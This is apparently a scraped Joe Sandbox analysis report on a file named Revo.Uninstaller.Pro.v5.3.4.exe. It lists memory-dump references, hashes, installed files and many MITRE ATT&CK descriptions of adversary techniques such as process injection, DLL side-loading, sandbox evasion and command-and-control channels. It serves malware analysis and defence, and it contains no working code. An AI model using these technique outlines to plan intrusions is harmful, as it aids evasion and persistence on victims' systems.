Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 95544cd0fbc1c68b6442233ab1bb13ea59abf9e1bd9498eecabbd7b85e38d71d
Instruction ID: 5f3436636367d0d5bc92f6b0e419d408aad35ecbe6557c54d873c5627a92c34c
Opcode Fuzzy Hash: 95544cd0fbc1c68b6442233ab1bb13ea59abf9e1bd9498eecabbd7b85e38d71d
Instruction Fuzzy Hash: E4F0BB35604414FFC702DFA5DD00D9EBBA8EF46350B2640B9F841FB211D674DE129B99

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Revo.Uninstaller.Pro.v5.3.4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Revo Uninstaller Pro Help.pdf

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.inf

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.inf

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\Estonian.ini

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\albanian.ini

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\arabic.ini

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\armenian.ini

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\azerbaijani.ini

Windows Analysis Report
Revo.Uninstaller.Pro.v5.3.4.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre